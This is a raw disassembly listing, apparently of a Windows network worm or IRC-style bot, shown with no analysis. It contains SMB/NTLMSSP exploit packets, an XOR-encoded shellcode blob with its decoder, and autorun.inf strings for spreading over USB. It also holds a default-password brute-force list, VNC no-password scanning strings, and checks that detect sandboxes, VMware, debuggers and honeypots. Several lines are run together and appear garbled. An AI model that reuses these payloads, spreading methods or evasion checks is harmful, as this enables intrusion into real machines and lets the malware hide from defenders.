		db    6
		db 1, 4, 1
		db  82h	; ‚
		db 37h,	2 dup(2)
		db  0Ah
		db 0A2h, 3Bh, 4
a9ntlmssp_0	db '9NTLMSSP',0
		db 1, 2	dup(0)
		db    0
		db 1, 2, 8
		db    0
		db 9, 0, 9
		db    0
		db 20h,	2 dup(0)
		db    0
		db 10h,	0, 10h
		db    0
		db 29h,	2 dup(0)
		db    0
aWorkgrouplqp_0	db 'WORKGROUPlQPxf2ISQgEV1bGKWindows 2000 2195',0
aWindows20005_3	db 'Windows 2000 5.0',0
		align 10h
dword_43E410	dd 0D010000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: sub_4073A2+147o
		dd 0C0750000h
dword_43E430	dd 6DD72000h, 0FF0Ch, 2FFDF00h,	100h, 0AF000000h, 0
					; DATA XREF: sub_4073A2+134o
		dd 0D05C00h, 0A100D280h, 8130AC81h, 0A681A2A9h,	4EA38104h
		dd 534D4C54h, 3005053h,	18000000h, 40001800h, 18000000h
		dd 58001800h, 12000000h, 70001200h, 0
		dd 82000000h, 20000000h, 82002000h, 0
		dd 0A2000000h, 1000000h, 0ED000802h, 778839B7h,	0BE16D7h
		dd 3 dup(0)
		db    0
		db 2 dup(0), 42h
		db 0AEh	; ®
		db 0B7h, 1Fh, 0BBh
		db  6Dh	; m
		db 0C1h, 84h, 99h
		db    1
aKXEcTijW_0	db 'k',8,'±xºeC',0Ah
		db 'ÓšâI†)W',0
		dd offset byte_52004F
		dd offset byte_47004B
		dd offset word_4F0052
		dd offset byte_500055
		dd offset dword_51006C
		db 50h,	0, 78h
		db    0
		db 66h,	0, 32h
		db    0
		dd offset byte_530049
		dd offset byte_670051
		dd offset byte_560045
		dd offset byte_620031
		dd offset byte_4B0047
		align 2
aWindows20002_1	db 'Windows 2000 2195',0
aWindows20005_4	db 'Windows 2000 5.0',0
		align 8
dword_43E528	dd 6B000000h, 424D53FFh, 73h, 20011800h, 3 dup(0)
					; DATA XREF: sub_4073A2+178o
		dd 0C0750000h, 6DD70000h, 0FF0Dh, 2FFDF00h, 100h, 2 dup(0)
		dd 40000000h, 2E000000h, 4F570000h, 52474B52h, 50554Fh
aWindows20002_2	db 'Windows 2000 2195',0
aWindows20005_5	db 'Windows 2000 5.0',0
		align 4
dword_43E598	dd 37000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
					; DATA XREF: sub_4073A2+1C5o
		dd 0C0750000h
dword_43E5B8	dd 6DD72001h, 0FF04h, 1000000h,	0C00h, 24435049h, 3F3F3F00h
					; DATA XREF: sub_4073A2+1B5o
		dd 3F3Fh, 0
dword_43E5D8	dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4073A2+22Fo
dword_43E5F4	dd 4780800h	dword_43E5F8	dd 400800h, 0DE00FF18h,	1000DEh, 16h, 0		dd 2019Fh, 4 dup(0)
		dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h,	720065h
		dd 2 dup(0)
dword_43E648	dd 3F020000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_4073A2+2ACo
dword_43E664	dd 4780800h	dword_43E668	dd 400800h, 0FF0Eh		db 0
byte_43E671	db 0, 40h, 0		; DATA XREF: sub_4073A2+299o
		dd 0FF000000h, 8FFFFFFh, 20000h, 3F020000h, 0
		dd 5020000h, 10030B00h,	0
		dd 2, 0D0000000h, 16D016h, 0B000000h, 0
		dd 84000100h, 1FB33323h, 2C0E9508h, 0C32C304Ah,	1830708h
		dd 4000300h, 0EB8A885Dh, 9F11C91Ch, 2B0008E8h, 2604810h
		dd 1000000h, 0BE000100h, 54A71E0Eh, 91E02161h, 23E45A04h
		dd 2D082E6h, 4000300h, 0EB8A885Dh, 9F11C91Ch, 2B0008E8h
		dd 2604810h, 2000000h, 0E9000100h, 0E77F4FDFh, 0A54D6B2Bh
		dd 833CAAD4h, 0A10315h,	4000200h, 0EB8A885Dh, 9F11C91Ch
		dd 2B0008E8h, 2604810h,	3000000h, 0AD000100h, 19D89A50h
		dd 1CF35CB9h, 0AD534199h, 175601Eh, 4000000h, 0EB8A885Dh
		dd 9F11C91Ch, 2B0008E8h, 2604810h, 4000000h, 97000100h
		dd 409F7E21h, 0D7BEC99Eh, 0F1B0A4EBh, 595FE37h,	4000300h
		dd 0EB8A885Dh, 9F11C91Ch, 2B0008E8h, 2604810h, 5000000h
		dd 0FD000100h, 858B52C8h, 8B3A74CCh, 30E02915h,	216ACCDh
		dd 4000100h, 0EB8A885Dh, 9F11C91Ch, 2B0008E8h, 2604810h
		dd 6000000h, 5B000100h,	0E19ACBDEh, 1F728325h, 92A2A310h
		dd 7636E7h, 4000200h, 0EB8A885Dh, 9F11C91Ch, 2B0008E8h
		dd 2604810h, 7000000h, 74000100h, 9C0CDF4h, 0BEF37F2Dh
		dd 0C3573B8h, 1685206h,	4000000h, 0EB8A885Dh, 9F11C91Ch
		dd 2B0008E8h, 2604810h,	8000000h, 0E5000100h, 0E1EA256Ch
		dd 4AC21B8Ah, 29885617h, 106C3EEh, 4000200h, 0EB8A885Dh
		dd 9F11C91Ch, 2B0008E8h, 2604810h, 9000000h, 26000100h
		dd 4D7D7050h, 7BAF8288h, 0EA1D963Dh, 29A17EBh, 4000100h
		dd 0EB8A885Dh, 9F11C91Ch, 2B0008E8h, 2604810h, 0A000000h
		dd 0C8000100h, 704B324Fh, 1201D316h, 0BF475A78h, 388E16Eh
		dd 4000000h, 0EB8A885Dh, 9F11C91Ch, 2B0008E8h, 2604810h
		dd 2 dup(0)
dword_43E890	dd 3B000000h, 424D53FFh, 2Eh, 20011800h, 3 dup(0)
					; DATA XREF: sub_4073A2+31Do
dword_43E8AC	dd 4780800h	dword_43E8B0	dd 400800h, 0FF0Ah		db 0
byte_43E8B9	db 0, 40h, 0		; DATA XREF: sub_4073A2+30Do
		dd 80000000h, 0FFBB80BBh, 0FFFFFFh, 2 dup(0)
dword_43E8D0	dd 0FB020000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_4073A2+507o
dword_43E8EC	dd 4780800h	dword_43E8F0	dd 400800h, 0FF0Eh		db 0
byte_43E8F9	db 0, 40h, 0		; DATA XREF: sub_4073A2+37Eo
		dd 0FF000000h, 8FFFFFFh, 2BC00h, 3F02BC00h, 0
		dd 502BC00h, 10030000h,	0BC000000h, 2, 0A4000000h, 0A000002h
		dd 79001F00h, 3941FA0h,	0
		dd 3000000h, 59000000h,	4C00h, 31000000h, 1, 31000000h
		dd 5C000001h, 6E554600h, 76454C4Dh, 6A7A4E64h, 7A58746Eh
		dd 6376416Eh, 7644534Fh, 556C5563h, 4A464C4Ch, 4350436Dh
		dd 65676A6Dh, 44627058h, 74414943h, 5254446Ah, 79784150h
		dd 58744958h, 78446643h, 58526A76h, 79535774h, 63714341h
		dd 577A7250h, 55616548h, 6F72664Bh, 75456E68h, 555A7953h
		dd 627A507Ah, 42A94365h, 15D53846h, 0A89B2567h,	3F9747B9h
		dd 37B92B1h, 56696FCh, 91B68D04h, 0FD30B49Fh, 4A411D2Ch
		dd 3448B3B0h, 4E4FF9B8h
		db 0F5h
byte_43E9E1	db 31h,	0C9h, 83h	; DATA XREF: sub_4073A2+393o
		dd 0FFE8ADE9h, 0C0FFFFFFh, 0E76815Eh, 9794BB22h, 0E2FCEE83h
		dd 0C07FA3F4h, 1544DD65h, 6B44D273h, 7FD1DE68h,	6B42CADAh
		dd 1FDBDD68h, 1F9F06FBh, 0E8301ED2h, 7BBA5A92h,	1FA36D1Ch
		dd 7FBA02C8h, 1F8FA9DEh, 548ACC96h, 543F8E0Eh, 5E7A25E3h
		dd 7F79239Ah, 0B0EF1963h, 1F5E57BFh, 7FBA06C8h,	0DFB7A9F1h
		dd 95A77D1Ch, 1F97217Ch, 889F4E1Eh, 4F8AE1F6h, 0A4F8A9F3h
		dd 1FB7621Ch, 1F163EE7h, 0FCE52AD7h, 78B56C19h,	0F26DDDC7h
		dd 0A7D344C4h, 0E7CC4AA5h, 6BEF7DA5h, 79704A47h, 6BEB196Bh
		dd 71327D41h, 9C56A3F1h, 96D17795h, 4DD3F268h, 0C316D79Eh
		dd 0C7E8F468h, 0D7E871C4h, 6BE861C4h, 85D34447h, 1DE844CBh
		dd 30D3B776h, 0C37C528Dh, 84D1F468h, 444477C6h,	0BA1686FFh
		dd 4244757Eh, 77C4h, 1Ah dup(0)
		dd 6B000000h, 44447041h, 7475CDFFh, 424471F7h, 94BBF268h
		dd 2E005C97h, 5C002E00h, 2E002E00h, 41005C00h, 48004F00h
		dd 4D004C00h, 59005800h
		db 0
byte_43EB61	db 0DEh, 0ADh, 0BEh	; DATA XREF: sub_4073A2+3A4o
		db 0EFh
byte_43EB65	db 0BAh, 0DEh, 0C0h	; DATA XREF: sub_4073A2+3A9o
		dd 544950DEh
		db 48h
byte_43EB6D	db 0FEh, 0EDh, 0FAh	; DATA XREF: sub_4073A2+3AEo
		dd 4A4649CEh, 54554F55h, 57555045h, 574D584Bh, 48475558h
		dd 4B45494Dh, 4E455943h, 50514142h, 44455A4Ch, 424F4F4Eh
		dd 0BA574D47h, 0D5853DB3h, 0EB4AF81Bh, 435A4D62h, 484C5754h
		dd 495759h, 9A000000h, 2000001h, 0
		dd 2000000h, 5C000000h,	1000000h, 10h, 2 dup(0)
dword_43EBD4	dd 1F1CB0h	dword_43EBD8	dd 1F1CB0h	dword_43EBDC	dd 20408h, 1	dword_43EBE4	dd 1001361h	dword_43EBE8	dd 1001361h	dword_43EBEC	dd 20408h, 2	dword_43EBF4	dd 6F88F727h	dword_43EBF8	dd 6F8916E2h	dword_43EBFC	dd 20408h, 3	dword_43EC04	dd 6F88F807h	dword_43EC08	dd 6F8917C2h	dword_43EC0C	dd 20408h, 4	dword_43EC14	dd 100129Eh	dword_43EC18	dd 100129Eh	dword_43EC1C	dd 20408h, 5	dword_43EC24	dd 71BF21A2h	dword_43EC28	dd 71BF21A2h	dword_43EC2C	dd 20408h, 6	dword_43EC34	dd 71BF3969h	dword_43EC38	dd 71BF3969h	dword_43EC3C	dd 20408h, 7, 5860F727h, 586116E2h, 20408h, 8, 58FBF727h
					; DATA XREF: sub_4073A2+4D7o
		dd 58FC16E2h, 20408h
dword_43EC60	dd 158h		dword_43EC64	dd 7475615Ch, 6E75726Fh, 666E692Eh, 0aShellOpenDefau	db 0Dh,0Ah		; DATA XREF: sub_4079AA+406o
		db 'shell\open\default=1',0
		align 10h
aIconSystemroot	db 0Dh,0Ah		; DATA XREF: sub_4079AA+3EEo
		db 'icon=%SystemRoot%\system32\SHELL32.dll,4',0Dh,0Ah
		db 'action=Open folder to view files',0Dh,0Ah
		db 'shell\open=Open',0Dh,0Ah
		db 'shell\open\command=',0
		align 4
aAutorunOpen	db '[autorun]',0Dh,0Ah  ; DATA XREF: sub_4079AA+3D5o
		db 'open=',0
		align 4
a_shellclassinf	db '[.ShellClassInfo]',0Dh,0Ah ; DATA XREF: sub_4079AA+2CDo
		db 'CLSID={645FF040-5081-101B-9F08-00AA002F954E}',0
aDesktop_ini	db '\Desktop.ini',0     ; DATA XREF: sub_4079AA+296o
		align 4
aSDDDDDDDDDDDDD	db '\S-%d-%d-%d%d-%d%d%d%d%d%d%d%d%d%d-%d%d%d%d%d%d%d%d%d%d-%d%d%d%d%'
					; DATA XREF: sub_4079AA+246o
		db 'd%d%d%d%d-%d%d%d%d',0
aRecycler	db '\RECYCLER',0        ; DATA XREF: sub_4079AA+74o
		align 4
aSInfectedUsbDr	db '%s Infected USB drive: %s',0 ; DATA XREF: sub_407E4B+77o
		align 8
off_43EDE8	dd offset byte_454A54	; DATA XREF: .text:00409645r
					; .text:00409651o
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset aLetmein	; "letmein"
		dd offset aAdmin_1	; "admin"
		dd offset aAdministrator ; "Administrator"
		dd offset a1234567	; "1234567"
		dd offset aPassword	; "password"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset aArsenal	; "arsenal"
		dd offset aMonkey	; "monkey"
		dd offset aCharlie	; "charlie"
		dd offset off_43D970
		dd offset aPass_1	; "pass"
		dd offset aMaster	; "master"
		dd offset aQwerty	; "qwerty"
		dd offset a12345678	; "12345678"
		dd offset a654321	; "654321"
		dd offset aAbc123	; "abc123"
		dd offset aThomas	; "thomas"
		align 10h
		dd 66B5217h
aNxSystemrootSy	db '#NX',7,'%systemroot%\system32\cmd.exe',0
		align 4
aExit		db 'exit',0
		align 10h
word_43EE70	dw 1			; DATA XREF: sub_408029+24r
					; .text:004081B2r
		align 4
word_43EE74	dw 4			; DATA XREF: sub_408029+10r
		align 4
dword_43EE78	dd 64257325h, 64256425h, 652E6425h, 6578hdword_43EE88	dd 6325h, 0						; .text:00408ADDo ...
aSSSSDSSSSSSS_0	db '%s %s %s %s %d >> %s %s %s %s %s >> %s %s %s >> %s %s %s %s >> %s'
					; DATA XREF: .text:0040878Co
					; .text:00408AB5o ...
		db ' %s %s >> %s %s%s %s %s %s',0Dh,0Ah,0
		align 10h
aSSSSDSSSSSSSSS	db '%s %s %s %s %d >> %s %s %s %s %s >> %s %s %s %s >> %s %s %s >> %s'
					; DATA XREF: .text:004086FBo
					; .text:00408A13o ...
		db ' %s%s %s %s %s',0Dh,0Ah,0
		align 4
aS_5		db '%s',0               ; DATA XREF: .text:00408584o
					; sub_408B99+2C9o ...
		align 4
aVncD_DSNopass	db 'VNC%d.%d: %s - (NoPass)',0 ; DATA XREF: .text:00408559o
					; sub_408B99+29Eo
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: .text:004083BBo
					; .text:004083E9o ...
		align 10h
word_43EF70	dw 72h			; DATA XREF: .text:004081DCr
					; sub_408B99+25r ...
		align 4
word_43EF74	dw 63h			; DATA XREF: .text:004081CFr
					; sub_408B99+3Er ...
		align 4


loc_43EF78:				; DATA XREF: .text:004081B9o
					; sub_408B99+2Eo
		jmp	ebx
; ---------------------------------------------------------------------------
		align 4
dword_43EF7C	dd 0DFFh						; sub_408B99+1Ao
dword_43EF80	dd 0EBFFh						; sub_408B99+Eo
dword_43EF84	dd 201h		dword_43EF88	dd 20424652h, 2E333030h, 0A383030h, 0aVncD_DSS	db 'VNC%d.%d: %s - %s',0 ; DATA XREF: sub_408B99+797o
		align 10h
dword_43EFB0	dd 158h		dword_43EFB4	dd 0D0EC8166h, 7dword_43EFBC	dd 129F74h, 0	dword_43EFC4	dd 127D78h, 2 dup(0)
; =============== S U B	R O U T	I N E =======================================



sub_43EFD0	proc near		; DATA XREF: sub_4097B9+D1o

; FUNCTION CHUNK AT 0043EFD6 SIZE 00000043 BYTES

		pusha
		jmp	short loc_43EFD6
sub_43EFD0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43EFD3	proc near		; CODE XREF: sub_43EFD0:loc_43EFD6p
		pop	ebx
		push	ebx
		retn
sub_43EFD3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EFD0


loc_43EFD6:				; CODE XREF: sub_43EFD0+1j
		call	sub_43EFD3
		xor	eax, eax
		add	al, 34h
		add	eax, ebx
		push	eax
		pop	ebx


loc_43EFE3:				; CODE XREF: sub_43EFD0+3Cj
		xor	edx, edx
		add	dl, [eax]
		inc	eax
		add	dh, [eax]
		inc	eax
		push	eax
		xor	eax, eax
		add	al, 41h
		sub	dl, al
		sub	dh, al
		shl	dl, 4
		shr	dx, 4
		xor	eax, eax
		xor	dh, dh
		add	al, [ebx]
		sub	[ebx], al
		add	[ebx], dx
		inc	ebx
		pop	eax
		xor	ecx, ecx
		add	cl, [eax]
		loopne	loc_43EFE3
		popa


loc_43F00F:				; DATA XREF: sub_4097B9+B0r
		add	[ebx+31h], al


loc_43F012:				; DATA XREF: sub_4097B9+AAr
		mov	ebp, 7FC77h


loc_43F017:				; DATA XREF: sub_4097B9:loc_409AA8r
					; sub_4097B9+319r ...
		add	[ecx], al
; END OF FUNCTION CHUNK	FOR sub_43EFD0
; ---------------------------------------------------------------------------
		db 3 dup(0)
		db 43h
; ---------------------------------------------------------------------------


loc_43F01D:				; CODE XREF: .text:0043F01Fj
		xor	eax, eax
		ja	short loc_43F01D
		pop	es
; ---------------------------------------------------------------------------
		dw 0
		dd 1, 77BB1F89h, 7FCh, 1, 77C01F89h, 7FCh, 1, 655B4F02h
		dd 7E7h
dword_43F048	dd 0		; ---------------------------------------------------------------------------
		sub	[ecx+77h], ecx
		sub	ecx, [ecx-1Eh]
		ja	short near ptr byte_43F0A1
		retf
; ---------------------------------------------------------------------------
		dw 77E3h
		dd 7518A747h, 77BD3143h
dword_43F060	dd 158h		dword_43F064	dd 6BFFD098h, 3610A112h, 0C3463398h, 5A347EF8h,	0
					; DATA XREF: sub_4097B9+255o
dword_43F078	dd 65706970h, 736B775Ch, 637673haNetvalidatenam	db 'NetValidateName',0  ; DATA XREF: sub_409EE2+15o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409EE2+Ao
					; sub_417362:loc_417E6Fo
byte_43F0A1	db 3 dup(0)		; CODE XREF: .text:0043F053j
dword_43F0A4	dd 4000500h, 7868746Bh,	0dword_43F0B0	dd 54207325h, 20505446h, 25203E2Dh, 73h					; .text:0040A4DCo
dword_43F0C0	dd 736E495Ch, 54656469h, 5C6DhaImail8_001531N	db '(IMail 8.00 153-1) NT-ESMTP Server X1',0 ; DATA XREF: sub_40A662+64o
		align 4
aNepenthes	db 'nepenthes',0        ; DATA XREF: sub_40A662+5Do
		align 10h
aCurrentuser	db 'currentuser',0      ; DATA XREF: sub_40A662+56o
aVmware		db 'vmware',0           ; DATA XREF: sub_40A662+4Fo
		align 4
aHoneymule	db 'HoneyMule',0        ; DATA XREF: sub_40A662+48o
		align 10h
aHoneyd		db 'honeyd',0           ; DATA XREF: sub_40A662+41o
		align 4
aHoneyc		db 'honeyc',0           ; DATA XREF: sub_40A662+3Ao
		align 10h
aHoney		db 'honey',0            ; DATA XREF: sub_40A662+33o
		align 4
aSnort		db 'snort',0            ; DATA XREF: sub_40A662+2Co
		align 10h
aSandbox	db 'Sandbox',0          ; DATA XREF: sub_40A662+25o
aRoo		db 'roo',0              ; DATA XREF: sub_40A662+1Eo
aTu4nh09smcg1hc	db 'TU-4NH09SMCG1HC',0  ; DATA XREF: sub_40A662+15o
aSandboxie	db 'Sandboxie',0        ; DATA XREF: sub_40A737+59o
		align 4
aSbiedllx	db 'SbieDllX',0         ; DATA XREF: sub_40A737:loc_40A77Fo
		align 4
aShowtray	db 'ShowTray',0         ; DATA XREF: sub_40A7C5+F1o
		align 10h
aInstallpath	db 'InstallPath',0      ; DATA XREF: sub_40A7C5+D7o
aSoftwareVmware	db 'SOFTWARE\VMware, Inc.\VMware Tools',0 ; DATA XREF: sub_40A7C5+D2o
		align 10h
aDaemon		db 'DAEMON',0           ; DATA XREF: sub_40A7C5:loc_40A83Bo
		align 4
aIsdebuggerpres	db 'IsDebuggerPresent',0 ; DATA XREF: sub_40A7C5:loc_40A7FEo
		align 4
aKernel32_dll	db 'KERNEL32.DLL',0     ; DATA XREF: sub_40A7C5+1Eo
		align 4
aDJstMfgyq_	db 'd/Jst/MFgyQ.',0     ; DATA XREF: sub_40A9FE+F41o
					; sub_41567F+159o
		align 4
aErwc30qfw_p0	db 'eRWc30Qfw.P0',0     ; DATA XREF: sub_40A9FE+1084o
					; sub_40A9FE+4611o ...
		align 4
a86tb1fspjg0	db '86tb/1FSpjg0',0     ; DATA XREF: sub_40A9FE+CA6o
					; sub_41567F+172o
		align 4
aPlsymAee6v1	db 'PlsYM/aEe6v1',0     ; DATA XREF: sub_40A9FE+4D0o
					; sub_41567F+17Do
		align 4
aDehziSaO0	db 'deHZI/SA//o0',0     ; DATA XREF: sub_40A9FE+22o
					; sub_40A9FE:loc_40AE0Fo ...
		align 4
aOb4iqKj5ue_	db 'Ob4iQ/KJ5ue.',0     ; DATA XREF: sub_40A9FE+5Eo
					; sub_40A9FE+C70o ...
		align 4
aNfknl0nqigy0	db 'NFKNL0nQigY0',0     ; DATA XREF: sub_40A9FE+E67o
					; sub_41567F+19Eo
		align 4
aE0idd0rdw2u	db 'e0idD0RDw2U/',0     ; DATA XREF: sub_40A9FE+C8Bo
					; sub_41567F+1A9o
		align 4
aEuior0ay2w7__0	db 'EUIOR0ay2w7.',0     ; DATA XREF: sub_40A9FE+33o
					; sub_40A9FE+88Co ...
		align 4
aPdazx1odsoh0	db 'PDazX1oDSOh0',0     ; DATA XREF: sub_40A9FE+A07o
					; sub_41567F+1BFo
		align 4
aUc6wg1ovwvt1	db 'uc6Wg1OvWVt1',0     ; DATA XREF: sub_40A9FE+44o
					; sub_40A9FE:loc_40B420o ...
		align 4
aDj9owUmrbd_	db 'dJ9OW/uMRBD.',0     ; DATA XREF: sub_40A9FE+46Do
					; sub_41567F+1D8o
		align 4
aP00ls0k4t_n1	db 'P00Ls0K4t.N1',0     ; DATA XREF: sub_40A9FE+630o
					; sub_41567F+1E3o
		align 4
aL3nyw_d7tfl_	db 'l3nYW.D7Tfl.',0     ; DATA XREF: sub_40A9FE+562o
					; sub_41567F+1EEo
		align 4
aQc9zs1zgzff0	db 'Qc9zS1zGZff0',0     ; DATA XREF: sub_40A9FE+2816o
					; sub_41567F+1F9o
		align 4
aWpuwr_6yfru	db 'WpuWr.6YFRU/',0     ; DATA XREF: sub_40A9FE+2844o
					; sub_41567F+204o
		align 4
a4rmbzFcic21	db '4RmBz/FCic21',0     ; DATA XREF: sub_40A9FE+2948o
					; sub_41567F+20Fo
		align 4
aSc_coSwlk_	db 'SC.Co/swLK/.',0     ; DATA XREF: sub_40A9FE+296Bo
					; sub_41567F+21Ao
		align 4
aSud8hRsu8j1	db 'sUd8h/rsu8j1',0     ; DATA XREF: sub_40A9FE+270o
					; sub_40A9FE+4705o ...
		align 4
aJ2yyw_j09xc	db 'j2yYw.J09XC/',0     ; DATA XREF: sub_40A9FE+281o
					; sub_40A9FE+47F2o ...
		align 4
a43ucs0rkqux_	db '43uCS0rkQUx.',0     ; DATA XREF: sub_40A9FE+4974o
					; sub_41567F+386o
		align 4
aJc8j0_blhir0	db 'jC8j0.blHIr0',0     ; DATA XREF: sub_40A9FE+498Do
					; sub_41567F+394o
		align 4
aPiygc_bgpyh_	db 'PIYGC.BgPyH.',0     ; DATA XREF: sub_40A9FE+4A17o
					; sub_41567F+39Fo
		align 4
a7bqzu_aqz2u_	db '7bQzU.aQz2u.',0     ; DATA XREF: sub_40A9FE+4BDBo
					; sub_41567F+3AAo
		align 4
aSar5v0jloic0	db 'saR5v0JloIc0',0     ; DATA XREF: sub_40A9FE+4C1Fo
					; sub_41567F+3B5o
		align 4
aX43mxEgedu_	db 'x43Mx/eGeDu.',0     ; DATA XREF: sub_40A9FE+4C9Co
					; sub_41567F+3C0o
		align 4
aIsopf_pu4ty0	db 'IsoPF.PU4tY0',0     ; DATA XREF: sub_40A9FE+4D19o
					; sub_41567F+3CBo
		align 4
a98mu_Nedn7_	db '98mu./nEdn7.',0     ; DATA XREF: sub_40A9FE+4E89o
					; sub_41567F+3D6o
		align 4
aVdirq_mjcpx1	db 'vDIrQ.MJcpx1',0     ; DATA XREF: sub_40A9FE+5021o
					; sub_41567F+3E1o
		align 4
aSad25HpR91	db 'Sad25/hP/R91',0     ; DATA XREF: sub_40A9FE+50CCo
					; sub_41567F+3EFo
		align 4
aVsz2xXqjp5	db 'Vsz2x/xqJP5/',0     ; DATA XREF: sub_40A9FE+B5Eo
					; sub_41567F+3FAo
		align 4
aPnb_aBfzu60_0	db 'pNb.a/Bfzu60',0     ; DATA XREF: sub_40A9FE+1AA5o
					; sub_41567F+405o
		align 4
aI7atf_8Tag1	db 'i7Atf.8/tag1',0     ; DATA XREF: sub_40A9FE+1B74o
					; sub_41567F+410o
		align 4
aDo5oa0u5m7_	db 'dO5oA/0U5m7.',0     ; DATA XREF: sub_40A9FE+18B5o
					; sub_41567F+41Bo
		align 4
aS3dyJzo6r_0	db 's3dY//JZo6r/',0     ; DATA XREF: sub_40A9FE+18A4o
					; sub_41567F+426o
		align 4
aKe3l20ufrlq0	db 'kE3L20Ufrlq0',0     ; DATA XREF: sub_40A9FE+18C6o
					; sub_41567F+431o
		align 4
aVp1weJvqbn_	db 'VP1WE/JVQbn.',0     ; DATA XREF: sub_40A9FE+FBo
					; sub_40A9FE+1C13o ...
		align 4
aUaxwg1w8vsp0qr	db 'UaxWg1w8vSP0QRn4z10ge1I1',0 ; DATA XREF: sub_40A9FE+1CF2o
					; sub_41567F+44Ao
		align 4
aQbwgd0cfxf_	db 'qbwGd0CFxf./',0     ; DATA XREF: sub_40A9FE+114o
					; sub_40A9FE+1D0Bo ...
		align 4
a2mo7g0_b0qj	db '2mo7G0.B0qj/',0     ; DATA XREF: sub_40A9FE+125o
					; sub_40A9FE+1D1Co ...
		align 4
a47ff020f_0_	db '47Ff/020f.0.',0     ; DATA XREF: sub_40A9FE+A0o
					; sub_40A9FE+1D2Do ...
		align 4
aHyomeIovtv_	db 'HyOMe/iovtV.',0     ; DATA XREF: sub_40A9FE+8Ao
					; sub_40A9FE+1E44o ...
		align 4
aPlsymAee6v1_0	db 'PlsYM/aEe6v1',0     ; DATA XREF: sub_40A9FE+1EECo
					; sub_41567F+481o
		align 4
aCwxyh0ryouv1	db 'CwXYh0RYoUv1',0     ; DATA XREF: sub_40A9FE+1F2Bo
					; sub_41567F+48Co
		align 4
aEavyh_ic0dc0	db 'eAvYh.IC0dc0',0     ; DATA XREF: sub_40A9FE+1F67o
					; sub_41567F+497o
		align 4
aUz3rf_vtkug1	db 'uz3rf.VTKug1',0     ; DATA XREF: sub_40A9FE+2022o
					; sub_41567F+4A5o
		align 4
aMaeyv0bdsgj0	db 'MAEyv0BdSGj0',0     ; DATA XREF: sub_41567F+4B0o
		align 4
aI3ncg_v5u4g_	db 'I3nCG.v5U4g.',0     ; DATA XREF: sub_41567F+4BBo
		align 4
a9bwj__lz2my0	db '9bWj..lZ2My0',0     ; DATA XREF: sub_40A9FE+136o
					; sub_40A9FE+2159o ...
		align 4
aRiocl1kztwo0	db 'rioCl1kzTWO0',0     ; DATA XREF: sub_40A9FE+292o
					; sub_40A9FE+1725o ...
		align 4
a_swwg1hqeii1	db '.SWwg1hqeiI1',0     ; DATA XREF: sub_40A9FE+188Bo
					; sub_41567F+4DCo
		align 4
aG3obv_r6j7h	db 'g3obv.r6j7H/',0     ; DATA XREF: sub_40A9FE+B6o
					; sub_40A9FE+F2Fo ...
		align 4
aM5spx_qp7lx_	db 'M5sPX.Qp7Lx.',0     ; DATA XREF: sub_40A9FE+CCo
					; sub_40A9FE+10ADo ...
		align 4
aItx_n_wpamx_	db 'ITx.N.WPAmx.',0     ; DATA XREF: sub_40A9FE+1160o
					; sub_41567F+500o
		align 4
aLndk50vzcqw0	db 'LNdk50vzCqW0',0     ; DATA XREF: sub_40A9FE+1407o
					; sub_41567F+50Bo
		align 4
a9ljbh07crkd_	db '9lJBH07crkD.',0     ; DATA XREF: sub_40A9FE+E2o
					; sub_40A9FE+15E1o ...
		align 4
aAjttz06ztse1	db 'ajTtz06Ztse1',0     ; DATA XREF: sub_40A9FE+230Co
					; sub_41567F+521o
		align 4
aUn3hk0sn58o	db 'uN3hk0sn58o/',0     ; DATA XREF: sub_40A9FE+232Fo
					; sub_41567F+52Co
		align 4
aQrn4z10ge1i1	db 'QRn4z10ge1I1',0     ; DATA XREF: sub_40A9FE+235Eo
					; sub_41567F+537o
		align 4
aBvuso0ed3mw	db 'bVUSO0ed3MW/',0     ; DATA XREF: sub_40A9FE+2380o
					; sub_41567F+542o
		align 4
aM1d_716jg1r1	db 'M1d.716Jg1r1',0     ; DATA XREF: sub_40A9FE+244Co
					; sub_41567F+54Do
		align 4
a6x2ka0buubb_	db '6x2Ka0buUbB.',0     ; DATA XREF: sub_40A9FE+2883o
					; sub_41567F+55Bo
		align 4
aUqyil_iyvpi_	db 'uQYiL.iYvpI.',0     ; DATA XREF: sub_40A9FE+5A1Co
					; sub_41567F+566o
		align 4
a4qyyh1q2ps1	db '4QyYH1q/2ps1',0     ; DATA XREF: sub_40A9FE+5C11o
					; sub_41567F+571o
		align 4
aZgidu12tiv0	db 'ZGidU12tiV0/',0     ; DATA XREF: sub_40A9FE+5CD2o
					; sub_41567F+57Co
		align 4
aHgcrw_cwuf5_	db 'HGCRW.CWUF5.',0     ; DATA XREF: sub_40A9FE+5D06o
					; sub_41567F+587o
		align 4
aGztle_nhywf	db 'gzTlE.nhywf/',0     ; DATA XREF: sub_40A9FE+5D26o
					; sub_41567F+592o
		align 4
aTvjro1ubgtg1	db 'TVJrO1uBGtg1',0     ; DATA XREF: sub_40A9FE+5DFAo
					; sub_41567F+59Do
		align 4
aL80reUvcue1	db 'l80re/UvCUe1',0     ; DATA XREF: sub_40A9FE+5DA6o
					; sub_41567F+5A8o
		align 4
aH1cmq0wqw5c_	db 'h1cMQ0wQw5C.',0     ; DATA XREF: sub_40A9FE+15Fo
					; sub_40A9FE+5E5Fo ...
		align 4
aVxa_uCdd7s0	db 'VXA.u/cDD7S0',0     ; DATA XREF: sub_40A9FE+5E46o
					; sub_41567F+5B6o
		align 4
aSxytb1_eejq_	db 'SXYtb1.EEjQ.',0     ; DATA XREF: sub_40A9FE+170o
					; sub_40A9FE+642Co ...
		align 4
aVb1r0N_arr0	db 'vB1r0/N.Arr0',0     ; DATA XREF: sub_40A9FE+181o
					; sub_40A9FE+643Do ...
		align 4
a8im6i__c829_	db '8Im6i..C829.',0     ; DATA XREF: sub_40A9FE+192o
					; sub_40A9FE+644Eo ...
		align 4
